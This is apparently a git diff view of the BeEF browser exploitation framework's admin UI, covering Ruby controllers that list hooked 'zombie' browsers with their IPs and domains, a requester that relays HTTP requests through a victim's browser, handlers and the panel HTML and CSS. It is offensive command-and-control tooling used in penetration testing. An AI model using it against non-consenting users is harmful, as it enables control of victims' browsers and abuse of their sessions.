#e = File.basename command_module, '.rb'
|
||||
e = BeEF::Core::Command.const_get(e.capitalize).new
|
||||
command_modules_json[i] = JSON.parse(e.to_json)
|
||||
i += 1
|
||||
end
|
||||
|
||||
if not command_modules_json.empty?
|
||||
return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
|
||||
else
|
||||
return {'success' => 'false'}.to_json
|
||||
end
|
||||
end
|
||||
|
||||
# return the input requred for the module in JSON format
|
||||
def dynamic_modules2json(id)
|
||||
command_modules_json = {}
|
||||
|
||||
mod = BeEF::Core::Models::CommandModule.first(:id => id)
|
||||
|
||||
# if the module id is not in the database return false
|
||||
return {'success' => 'false'}.to_json if(not mod)
|
||||
|
||||
# the path will equal Dynamic/<type> and this will get just the type
|
||||
dynamic_type = mod.path.split("/").last
|
||||
|
||||
e = BeEF::Core::Command.const_get(dynamic_type.capitalize).new
|
||||
e.update_info(mod.id)
|
||||
e.update_data()
|
||||
command_modules_json[1] = JSON.parse(e.to_json)
|
||||
if not command_modules_json.empty?
|
||||
return {'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json}.to_json
|
||||
else
|
||||
return {'success' => 'false'}.to_json
|
||||
end
|
||||
end
|
||||
|
||||
def dynamic_payload2json(id, payload_name)
|
||||
command_modules_json = {}
|
||||
|
||||
dynamic_command_module = BeEF::Core::Models::CommandModule.first(:id => id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Module does not exists" if dynamic_command_module.nil?
|
||||
|
||||
# the path will equal Dynamic/<type> and this will get just the type
|
||||
dynamic_type = dynamic_command_module.path.split("/").last
|
||||
|
||||
# get payload options in JSON
|
||||
e = BeEF::Core::Command.const_get(dynamic_type.capitalize).new
|
||||
payload_options_json = []
|
||||
payload_options_json[1] = e.get_payload_options(payload_name)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Payload JSON generation error" if payload_options_json.empty?
|
||||
|
||||
return {'success' => 'true', 'command_modules' => payload_options_json}.to_json
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
48
extensions/admin_ui/controllers/panel/index.html
Normal file
48
extensions/admin_ui/controllers/panel/index.html
Normal file
@@ -0,0 +1,48 @@
|
||||
<html>
|
||||
<head>
|
||||
|
||||
<title>BeEF Control Panel</title>
|
||||
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
|
||||
|
||||
<%= script_tag 'ext-base.js' %>
|
||||
<%= script_tag 'ext-all.js' %>
|
||||
<%= script_tag 'ext-beef.js' %>
|
||||
<%= script_tag 'ux/TabCloseMenu.js' %>
|
||||
<%= script_tag 'ux/StatusBar.js' %>
|
||||
<%= script_tag 'ux/PagingStore.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/common.js' %>
|
||||
<%= script_tag 'ui/panel/DistributedEngine.js' %>
|
||||
<%= script_tag 'ui/panel/PanelStatusBar.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabDetails.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabLogs.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabCommands.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabRequester.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/PanelViewer.js' %>
|
||||
<%= script_tag 'ui/panel/DataGrid.js' %>
|
||||
<%= script_tag 'ui/panel/MainPanel.js' %>
|
||||
<%= script_tag 'ui/panel/ZombieTab.js' %>
|
||||
<%= script_tag 'ui/panel/ZombieTabs.js' %>
|
||||
<%= script_tag 'ui/panel/zombiesTreeList.js' %>
|
||||
<%= script_tag 'ui/panel/ZombiesMgr.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/Logout.js' %>
|
||||
<%= script_tag 'ui/panel/WelcomeTab.js' %>
|
||||
|
||||
<%= stylesheet_tag 'ext-all.css' %>
|
||||
<%= stylesheet_tag 'base.css' %>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<%= nonce_tag %>
|
||||
<div id="header">
|
||||
<div class="right-menu">
|
||||
<a id='do-logout-menu' href='#'>Logout</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
91
extensions/admin_ui/controllers/panel/panel.rb
Normal file
91
extensions/admin_ui/controllers/panel/panel.rb
Normal file
@@ -0,0 +1,91 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Panel < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/' => method(:index),
|
||||
'/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# default index page
|
||||
def index; end
|
||||
|
||||
# return a JSON object contains all the updates for the hooked browser trees
|
||||
def hooked_browser_tree_update
|
||||
# retrieve the hbs that are online
|
||||
hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)))
|
||||
|
||||
# retrieve the hbs that are offline
|
||||
hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)))
|
||||
|
||||
# retrieve the distributed engine rules that are enabled
|
||||
distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true))
|
||||
|
||||
# hash that gets populated with all the information for the hb trees
|
||||
ret = {
|
||||
'success' => true,
|
||||
|
||||
# the list of hb
|
||||
'hooked-browsers' => {
|
||||
'online' => hooked_browsers_online,
|
||||
'offline' => hooked_browsers_offline
|
||||
},
|
||||
|
||||
# the rules for the distributed engine
|
||||
'ditributed-engine-rules' => distributed_engine_rules
|
||||
}
|
||||
|
||||
@body = ret.to_json
|
||||
end
|
||||
|
||||
# Takes a list distributed engine rules and format the results into JSON
|
||||
def distributed_engine_rules_2_json_simple(rules)
|
||||
|
||||
end
|
||||
|
||||
# Takes a list of zombies and format the results in a JSON array.
|
||||
def zombies2json_simple(zombies)
|
||||
zombies_hash = {}
|
||||
i = 0
|
||||
|
||||
zombies.each do |zombie|
|
||||
# create hash of zombie details
|
||||
zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
|
||||
i+=1
|
||||
end
|
||||
|
||||
zombies_hash
|
||||
end
|
||||
|
||||
# create a hash of simple hooked browser details
|
||||
def get_simple_hooked_browser_hash(hooked_browser)
|
||||
|
||||
browser_icon = BeEF::Extension::Initialization::Models::BrowserDetails.browser_icon(hooked_browser.session)
|
||||
os_icon = BeEF::Extension::Initialization::Models::BrowserDetails.os_icon(hooked_browser.session)
|
||||
domain = BeEF::Extension::Initialization::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
|
||||
|
||||
return {
|
||||
'session' => hooked_browser.session,
|
||||
'ip' => hooked_browser.ip,
|
||||
'domain' => domain,
|
||||
'browser_icon' => browser_icon,
|
||||
'os_icon' => os_icon
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
149
extensions/admin_ui/controllers/requester/requester.rb
Normal file
149
extensions/admin_ui/controllers/requester/requester.rb
Normal file
@@ -0,0 +1,149 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
|
||||
#
|
||||
# HTTP Controller for the Requester component of BeEF.
|
||||
#
|
||||
class Requester < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
# Variable representing the Http DB model.
|
||||
H = BeEF::Core::Models::Http
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/send' => method(:send_request),
|
||||
'/history.json' => method(:get_zombie_history),
|
||||
'/response.json' => method(:get_zombie_response)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Send a new http request to the hooked browser.
|
||||
def send_request
|
||||
# validate that the hooked browser's session has been sent
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid session id" if not BeEF::Filters.is_valid_hook_session_id?(zombie_session)
|
||||
|
||||
# validate that the hooked browser exists in the db
|
||||
zombie = Z.first(:session => zombie_session) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
|
||||
|
||||
# validate that the raw request has been sent
|
||||
raw_request = @params['raw_request'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "raw_request is nil" if raw_request.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "raw_request contains non-printable chars" if not BeEF::Filters.has_non_printable_char?(raw_request)
|
||||
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# validate that the raw request is correct and can be used
|
||||
req_parts = raw_request.split(/ |\n/) # break up the request
|
||||
verb = req_parts[0]
|
||||
raise 'Only GET or POST requests are supported' if not BeEF::Filters.is_valid_verb?(verb) #check verb
|
||||
uri = req_parts[1]
|
||||
raise 'Invalid URI' if not BeEF::Filters.is_valid_url?(uri) #check uri
|
||||
version = req_parts[2]
|
||||
raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_http_version?(version) # check http version - HTTP/1.0
|
||||
host_str = req_parts[3]
|
||||
raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_host_str?(host_str) # check host string - Host:
|
||||
host = req_parts[4]
|
||||
host_parts = host.split(/:/)
|
||||
hostname = host_parts[0]
|
||||
raise 'Invalid hostname' if not BeEF::Filters.is_valid_hostname?(hostname) #check the target hostname
|
||||
hostport = host_parts[1] || nil
|
||||
if !hostport.nil?
|
||||
raise 'Invalid hostport' if not BeEF::Filters.nums_only?(hostport) #check the target hostport
|
||||
end
|
||||
|
||||
# (re)build the request
|
||||
green_request = StringIO.new(verb + " " + uri + " " + version + "\n" + host_str + " " + host)
|
||||
request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
|
||||
request.parse(green_request)
|
||||
|
||||
# Saves the new HTTP request.
|
||||
http = H.new(
|
||||
:request => raw_request,
|
||||
:method => request.request_method,
|
||||
:domain => request.host,
|
||||
:path => request.unparsed_uri,
|
||||
:date => Time.now,
|
||||
:hooked_browser_id => zombie.id
|
||||
)
|
||||
|
||||
if request.request_method.eql? 'POST'
|
||||
http.content_length = request.content_length
|
||||
end
|
||||
|
||||
http.save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Returns a JSON object containing the history of requests sent to the zombie.
|
||||
def get_zombie_history
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# validate that the hooked browser's session has been sent
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
|
||||
# validate that the hooked browser exists in the db
|
||||
zombie = Z.first(:session => zombie_session) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
|
||||
|
||||
history = []
|
||||
H.all(:hooked_browser_id => zombie.id).each{|http|
|
||||
history << {
|
||||
'id' => http.id,
|
||||
'domain' => http.domain,
|
||||
'path' => http.path,
|
||||
'has_ran' => http.has_ran,
|
||||
'date' => http.date
|
||||
}
|
||||
}
|
||||
|
||||
@body = {'success' => 'true', 'history' => history}.to_json
|
||||
end
|
||||
|
||||
# Returns a JSON objecting containing the response of a request.
|
||||
def get_zombie_response
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# validate the http id
|
||||
http_id = @params['http_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_id is nil" if http_id.nil?
|
||||
|
||||
# validate that the http object exist in the dabatase
|
||||
http_db = H.first(:id => http_id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http object could not be found in the database" if http_db.nil?
|
||||
|
||||
res = {
|
||||
'id' => http_db.id,
|
||||
'request' => http_db.request,
|
||||
'response' => http_db.response,
|
||||
'domain' => http_db.domain,
|
||||
'path' => http_db.path,
|
||||
'date' => http_db.date,
|
||||
'has_ran' => http_db.has_ran
|
||||
}
|
||||
|
||||
@body = {'success' => 'true', 'result' => res}.to_json
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
31
extensions/admin_ui/extension.rb
Normal file
31
extensions/admin_ui/extension.rb
Normal file
@@ -0,0 +1,31 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@full_name = 'administration web UI'
|
||||
|
||||
@short_name = 'admin_ui'
|
||||
|
||||
@description = 'command control panel for beef using a web interface'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Constants for that extension
|
||||
require 'extensions/admin_ui/constants/agents'
|
||||
require 'extensions/admin_ui/constants/icons'
|
||||
|
||||
# Classes
|
||||
require 'extensions/admin_ui/classes/httpcontroller'
|
||||
require 'extensions/admin_ui/classes/session'
|
||||
|
||||
# Handlers
|
||||
require 'extensions/admin_ui/handlers/media'
|
||||
require 'extensions/admin_ui/handlers/ui'
|
||||
|
||||
# API Hooking
|
||||
require 'extensions/admin_ui/api/command'
|
||||
require 'extensions/admin_ui/api/handler'
|
||||
27
extensions/admin_ui/handlers/media.rb
Normal file
27
extensions/admin_ui/handlers/media.rb
Normal file
@@ -0,0 +1,27 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Handlers
|
||||
|
||||
class MediaHandler < WEBrick::HTTPServlet::FileHandler
|
||||
|
||||
def do_GET(req, res)
|
||||
super
|
||||
|
||||
# set content types
|
||||
res.header['content-type']='text/html' # default content type for all pages
|
||||
res.header['content-type']='text/javascript' if req.path =~ /.json$/
|
||||
res.header['content-type']='text/javascript' if req.path =~ /.js$/
|
||||
res.header['content-type']='text/css' if req.path =~ /.css$/
|
||||
res.header['content-type']='image/png' if req.path =~ /.png$/
|
||||
res.header['content-type']='image/gif' if req.path =~ /.gif$/
|
||||
res.header['content-type']='text/xml' if req.path =~ /.xml$/
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
51
extensions/admin_ui/handlers/ui.rb
Normal file
51
extensions/admin_ui/handlers/ui.rb
Normal file
@@ -0,0 +1,51 @@
|
||||
#
|
||||
# Generic Http Handler that extensions can use to register http
|
||||
# controllers into the framework.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Handlers
|
||||
|
||||
class UI < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(config, klass)
|
||||
super
|
||||
@guard = Mutex.new
|
||||
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves the request and forwards it to the controller
|
||||
#
|
||||
def do_GET(request, response)
|
||||
@request = request
|
||||
@response = response
|
||||
|
||||
controller = nil
|
||||
@guard.synchronize {
|
||||
controller = @klass.new
|
||||
controller.run(@request, @response)
|
||||
}
|
||||
|
||||
response.header.replace(controller.headers)
|
||||
response.body = controller.body.to_s
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@request
|
||||
@response
|
||||
|
||||
alias do_POST do_GET
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
93
extensions/admin_ui/media/css/base.css
Normal file
93
extensions/admin_ui/media/css/base.css
Normal file
@@ -0,0 +1,93 @@
|
||||
#header .right-menu {
|
||||
float: right;
|
||||
margin: 10px;
|
||||
word-spacing: 5px;
|
||||
font: 11px arial, tahoma, verdana, helvetica;
|
||||
color:#000;
|
||||
}
|
||||
|
||||
#header a:link,
|
||||
#header a:visited {
|
||||
color:#000;
|
||||
text-decoration:underline;
|
||||
}
|
||||
|
||||
.x-grid3-cell-inner, .x-grid3-hd-inner {
|
||||
white-space: normal; /* changed from nowrap */
|
||||
}
|
||||
|
||||
.x-grid-empty {
|
||||
text-align:left;
|
||||
}
|
||||
|
||||
.feed-icon {
|
||||
display: none;
|
||||
}
|
||||
|
||||
#zombie-tree-tabs-panel .x-tab-panel-header {
|
||||
font: 11px tahoma,arial,helvetica,sans-serif;
|
||||
padding: 0 0 0 0;
|
||||
border-bottom: none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/*
|
||||
* Status bar
|
||||
****************************************/
|
||||
.x-statusbar .x-status-busy,
|
||||
.x-statusbar .x-status-error,
|
||||
.x-statusbar .x-status-valid {
|
||||
background: transparent no-repeat 3px 2px;
|
||||
padding-left: 25px !important;
|
||||
padding-bottom: 2px !important;
|
||||
}
|
||||
|
||||
.x-statusbar .x-status-busy {
|
||||
background-image: url(../images/statusbar/loading.gif);
|
||||
}
|
||||
|
||||
.x-statusbar .x-status-error {
|
||||
color: #C33;
|
||||
background-image: url(../images/statusbar/exclamation.gif);
|
||||
}
|
||||
|
||||
.x-statusbar .x-status-valid {
|
||||
background-image: url(../images/statusbar/accept.png);
|
||||
}
|
||||
|
||||
.x-tree-node-leaf .x-tree-node-icon {
|
||||
width: 13px;
|
||||
height: 13px;
|
||||
padding-top: 3px;
|
||||
}
|
||||
|
||||
/*
|
||||
* Ext.beef.msg
|
||||
****************************************/
|
||||
.msg .x-box-mc {
|
||||
font-size:14px;
|
||||
}
|
||||
|
||||
#msg-div {
|
||||
position:absolute;
|
||||
left:35%;
|
||||
top:20px;
|
||||
width:250px;
|
||||
z-index:20000;
|
||||
}
|
||||
|
||||
/*
|
||||
* Exploit Panel
|
||||
****************************************/
|
||||
.x-form-item-label, .x-form-element {
|
||||
font: 11px tahoma,arial,helvetica,sans-serif;
|
||||
}
|
||||
|
||||
.command-module-panel-description {
|
||||
margin-bottom: 10px;
|
||||
padding-top: 4px;
|
||||
}
|
||||
|
||||
label {
|
||||
font: 11px tahoma,arial,helvetica,sans-serif;
|
||||
}
|
||||
6969
extensions/admin_ui/media/css/ext-all.css
Normal file
6969
extensions/admin_ui/media/css/ext-all.css
Normal file
File diff suppressed because it is too large
Load Diff
BIN
extensions/admin_ui/media/images/default/box/corners-blue.gif
Normal file
BIN
extensions/admin_ui/media/images/default/box/corners-blue.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1010 B |
BIN
extensions/admin_ui/media/images/default/box/corners.gif
Normal file
BIN
extensions/admin_ui/media/images/default/box/corners.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1005 B |
BIN
extensions/admin_ui/media/images/default/box/l-blue.gif
Normal file
BIN
extensions/admin_ui/media/images/default/box/l-blue.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 810 B |
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user